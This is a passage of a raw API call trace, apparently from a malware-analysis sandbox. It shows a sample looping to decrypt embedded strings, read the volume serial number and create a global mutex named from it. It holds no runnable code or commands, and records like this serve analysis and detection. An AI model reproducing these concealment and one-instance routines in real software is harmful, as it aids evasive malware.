0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.919] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.920] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.921] GetLastError () returned 0x0 [0146.922] GetLastError () returned 0x0 [0146.922] GetLastError () returned 0x0 [0146.922] GetLastError () returned 0x0 [0146.922] GetLastError () returned 0x0 [0146.922] GetLastError () returned 0x0 [0146.922] GetLastError () returned 0x0 [0146.922] GetLastError () returned 0x0 [0146.922] GetLastError () returned 0x0 [0146.922] GetLastError () returned 0x0 [0146.922] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.923] GetLastError () returned 0x0 [0146.924] GetLastError () returned 0x0 [0146.924] GetLastError () returned 0x0 [0146.924] GetLastError () returned 0x0 [0146.924] GetLastError () returned 0x0 [0146.924] GetLastError () returned 0x0 [0146.924] GetLastError () returned 0x0 [0146.924] GetLastError () returned 0x0 [0146.924] GetLastError () returned 0x0 [0146.924] GetLastError () returned 0x0 [0146.924] GetLastError () returned 0x0 [0146.924] GetLastError () returned 0x0 [0146.924] GetLastError () returned 0x0 [0146.924] GetLastError () returned 0x0 [0146.924] GetLastError () returned 0x0 [0146.924] GetLastError () returned 0x0 [0146.924] GetLastError () returned 0x0 [0146.925] GetLastError () returned 0x0 [0146.925] GetLastError () returned 0x0 [0146.925] GetLastError () returned 0x0 [0146.925] GetLastError () returned 0x0 [0146.925] GetLastError () returned 0x0 [0146.925] GetLastError () returned 0x0 [0146.925] GetLastError () returned 0x0 [0146.925] GetLastError () returned 0x0 [0146.925] GetLastError () returned 0x0 [0146.925] GetLastError () returned 0x0 [0146.925] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a9c78, Size=0xa8) returned 0x23a4f20 [0146.997] WaitForSingleObject (hHandle=0x498, dwMilliseconds=0xffffffff) returned 0x0 [0156.347] WaitForMultipleObjects (nCount=0x4, lpHandles=0x55fdd8*=0x218, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 46 os_tid = 0xe48 Thread: id = 50 os_tid = 0xe60 [0141.800] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a4e38 [0141.800] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x819430) returned 1 [0141.800] CryptSetKeyParam (hKey=0x819430, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0141.800] CryptDecrypt (in: hKey=0x819430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e38, pdwDataLen=0xc0fce8 | out: pbData=0x23a4e38, pdwDataLen=0xc0fce8) returned 1 [0141.800] CryptDestroyKey (hKey=0x819430) returned 1 [0141.800] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a4e60 [0141.800] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a4e88 [0141.800] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a4eb0 [0141.800] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x819230) returned 1 [0141.800] CryptSetKeyParam (hKey=0x819230, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0141.800] CryptDecrypt (in: hKey=0x819230, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4eb0, pdwDataLen=0xc0fcc0 | out: pbData=0x23a4eb0, pdwDataLen=0xc0fcc0) returned 1 [0141.800] CryptDestroyKey (hKey=0x819230) returned 1 [0141.800] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4eb0 | out: hHeap=0x23a0000) returned 1 [0141.800] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a4e60, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0141.800] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e88 | out: hHeap=0x23a0000) returned 1 [0141.800] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e38 | out: hHeap=0x23a0000) returned 1 [0141.800] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0141.801] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e60 | out: hHeap=0x23a0000) returned 1 [0141.802] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a4e38 [0141.802] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x818ef0) returned 1 [0141.802] CryptSetKeyParam (hKey=0x818ef0, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0141.802] CryptDecrypt (in: hKey=0x818ef0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e38, pdwDataLen=0xc0fd1c | out: pbData=0x23a4e38, pdwDataLen=0xc0fd1c) returned 1 [0141.802] CryptDestroyKey (hKey=0x818ef0) returned 1 [0141.802] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a4e80 [0141.803] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0141.803] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x21c [0141.804] WaitForSingleObject (hHandle=0x21c, dwMilliseconds=0x0) returned 0x0 [0141.804] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e38 | out: hHeap=0x23a0000) returned 1 [0141.804] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e80 | out: hHeap=0x23a0000) returned 1 [0141.804] ReleaseMutex (hMutex=0x21c) returned 1 [0141.804] CloseHandle (hObject=0x21c) returned 1 [0141.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xc41f44, lpParameter=0x1, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c [0141.806] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a4e38 [0141.806] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x819430) returned 1 [0141.806] CryptSetKeyParam (hKey=0x819430, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0141.806] CryptDecrypt (in: hKey=0x819430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e38, pdwDataLen=0xc0fce8 | out: pbData=0x23a4e38, pdwDataLen=0xc0fce8) returned 1 [0141.806] CryptDestroyKey (hKey=0x819430) returned 1 [0141.806] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a4e60 [0141.806] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a4e88 [0141.806] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a4eb0 [0141.806] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x818f70) returned 1 [0141.806] CryptSetKeyParam (hKey=0x818f70, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0141.806] CryptDecrypt (in: hKey=0x818f70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4eb0, pdwDataLen=0xc0fcc0 | out: pbData=0x23a4eb0, pdwDataLen=0xc0fcc0) returned 1 [0141.806] CryptDestroyKey (hKey=0x818f70) returned 1 [0141.806] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4eb0 | out: hHeap=0x23a0000) returned 1 [0141.806] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a4e60, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0141.806] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e88 | out: hHeap=0x23a0000) returned 1 [0141.806] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e38 | out: hHeap=0x23a0000) returned 1 [0141.806] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0141.807] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e60 | out: hHeap=0x23a0000) returned 1 [0141.807] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a4e38 [0141.807] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x819230) returned 1 [0141.807] CryptSetKeyParam (hKey=0x819230, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0141.807] CryptDecrypt (in: hKey=0x819230, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e38, pdwDataLen=0xc0fd1c | out: pbData=0x23a4e38, pdwDataLen=0xc0fd1c) returned 1 [0141.807] CryptDestroyKey (hKey=0x819230) returned 1 [0141.807] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a4e80 [0141.807] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0141.807] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x220 [0141.807] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x0 [0141.807] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e38 | out: hHeap=0x23a0000) returned 1 [0141.807] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e80 | out: hHeap=0x23a0000) returned 1 [0141.807] ReleaseMutex (hMutex=0x220) returned 1 [0141.807] CloseHandle (hObject=0x220) returned 1 [0141.808] Sleep (dwMilliseconds=0x3e8) [0142.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a4e50 [0142.908] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x819230) returned 1 [0142.908] CryptSetKeyParam (hKey=0x819230, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0142.908] CryptDecrypt (in: hKey=0x819230, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e50, pdwDataLen=0xc0fce8 | out: pbData=0x23a4e50, pdwDataLen=0xc0fce8) returned 1 [0142.908] CryptDestroyKey (hKey=0x819230) returned 1 [0142.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a4e78 [0142.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a4ea0 [0142.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a4ec8 [0142.908] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x819430) returned 1 [0142.908] CryptSetKeyParam (hKey=0x819430, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0142.908] CryptDecrypt (in: hKey=0x819430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4ec8, pdwDataLen=0xc0fcc0 | out: pbData=0x23a4ec8, pdwDataLen=0xc0fcc0) returned 1 [0142.908] CryptDestroyKey (hKey=0x819430) returned 1 [0142.908] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4ec8 | out: hHeap=0x23a0000) returned 1 [0142.908] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a4e78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0142.908] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4ea0 | out: hHeap=0x23a0000) returned 1 [0142.908] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e50 | out: hHeap=0x23a0000) returned 1 [0142.908] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0142.909] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e78 | out: hHeap=0x23a0000) returned 1 [0142.909] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a4e50 [0142.909] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x819530) returned 1 [0142.909] CryptSetKeyParam (hKey=0x819530, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0142.909] CryptDecrypt (in: hKey=0x819530, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e50, pdwDataLen=0xc0fd1c | out: pbData=0x23a4e50, pdwDataLen=0xc0fd1c) returned 1 [0142.909] CryptDestroyKey (hKey=0x819530) returned 1 [0142.909] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a4e98 [0142.909] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0142.909] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x260 [0142.909] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0x0) returned 0x0 [0142.909] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e50 | out: hHeap=0x23a0000) returned 1 [0142.909] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e98 | out: hHeap=0x23a0000) returned 1 [0142.909] ReleaseMutex (hMutex=0x260) returned 1 [0142.909] CloseHandle (hObject=0x260) returned 1 [0142.909] Sleep (dwMilliseconds=0x3e8) [0143.911] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a4e50 [0143.911] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x835ee0) returned 1 [0143.911] CryptSetKeyParam (hKey=0x835ee0, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0143.911] CryptDecrypt (in: hKey=0x835ee0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e50, pdwDataLen=0xc0fce8 | out: pbData=0x23a4e50, pdwDataLen=0xc0fce8) returned 1 [0143.911] CryptDestroyKey (hKey=0x835ee0) returned 1 [0143.911] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a4e78 [0143.911] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a4ea0 [0143.911] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a4ec8 [0143.911] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x835ee0) returned 1 [0143.911] CryptSetKeyParam (hKey=0x835ee0, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0143.911] CryptDecrypt (in: hKey=0x835ee0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4ec8, pdwDataLen=0xc0fcc0 | out: pbData=0x23a4ec8, pdwDataLen=0xc0fcc0) returned 1 [0143.911] CryptDestroyKey (hKey=0x835ee0) returned 1 [0143.912] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4ec8 | out: hHeap=0x23a0000) returned 1 [0143.912] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a4e78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0143.912] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4ea0 | out: hHeap=0x23a0000) returned 1 [0143.912] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e50 | out: hHeap=0x23a0000) returned 1 [0143.912] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0143.912] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e78 | out: hHeap=0x23a0000) returned 1 [0143.912] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a4e50 [0143.912] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x835ee0) returned 1 [0143.912] CryptSetKeyParam (hKey=0x835ee0, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0143.912] CryptDecrypt (in: hKey=0x835ee0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e50, pdwDataLen=0xc0fd1c | out: pbData=0x23a4e50, pdwDataLen=0xc0fd1c) returned 1 [0143.912] CryptDestroyKey (hKey=0x835ee0) returned 1 [0143.912] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a4e98 [0143.912] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0143.912] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x40c [0143.912] WaitForSingleObject (hHandle=0x40c, dwMilliseconds=0x0) returned 0x0 [0143.912] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e50 | out: hHeap=0x23a0000) returned 1 [0143.912] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e98 | out: hHeap=0x23a0000) returned 1 [0143.913] ReleaseMutex (hMutex=0x40c) returned 1 [0143.913] CloseHandle (hObject=0x40c) returned 1 [0143.913] Sleep (dwMilliseconds=0x3e8) [0144.928] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a4e50 [0144.928] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x836ae0) returned 1 [0144.928] CryptSetKeyParam (hKey=0x836ae0, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0144.929] CryptDecrypt (in: hKey=0x836ae0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e50, pdwDataLen=0xc0fce8 | out: pbData=0x23a4e50, pdwDataLen=0xc0fce8) returned 1 [0144.929] CryptDestroyKey (hKey=0x836ae0) returned 1 [0144.929] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a4e78 [0144.929] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a4ea0 [0144.929] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a4ec8 [0144.929] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x836820) returned 1 [0144.929] CryptSetKeyParam (hKey=0x836820, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0144.929] CryptDecrypt (in: hKey=0x836820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4ec8, pdwDataLen=0xc0fcc0 | out: pbData=0x23a4ec8, pdwDataLen=0xc0fcc0) returned 1 [0144.929] CryptDestroyKey (hKey=0x836820) returned 1 [0144.929] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4ec8 | out: hHeap=0x23a0000) returned 1 [0144.929] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a4e78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0144.929] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4ea0 | out: hHeap=0x23a0000) returned 1 [0144.929] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e50 | out: hHeap=0x23a0000) returned 1 [0144.929] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0144.929] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e78 | out: hHeap=0x23a0000) returned 1 [0144.929] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a4e50 [0144.929] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x8368a0) returned 1 [0144.930] CryptSetKeyParam (hKey=0x8368a0, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0144.930] CryptDecrypt (in: hKey=0x8368a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e50, pdwDataLen=0xc0fd1c | out: pbData=0x23a4e50, pdwDataLen=0xc0fd1c) returned 1 [0144.930] CryptDestroyKey (hKey=0x8368a0) returned 1 [0144.930] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a4e98 [0144.930] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0144.930] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x490 [0144.930] WaitForSingleObject (hHandle=0x490, dwMilliseconds=0x0) returned 0x0 [0144.930] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e50 | out: hHeap=0x23a0000) returned 1 [0144.930] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e98 | out: hHeap=0x23a0000) returned 1 [0144.930] ReleaseMutex (hMutex=0x490) returned 1 [0144.930] CloseHandle (hObject=0x490) returned 1 [0144.930] Sleep (dwMilliseconds=0x3e8) [0145.954] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a4e50 [0145.954] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x836da0) returned 1 [0145.954] CryptSetKeyParam (hKey=0x836da0, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0145.954] CryptDecrypt (in: hKey=0x836da0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e50, pdwDataLen=0xc0fce8 | out: pbData=0x23a4e50, pdwDataLen=0xc0fce8) returned 1 [0145.954] CryptDestroyKey (hKey=0x836da0) returned 1 [0145.954] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a4e78 [0145.954] RtlAllocateHeap (HeapHandle=0x23a0000, 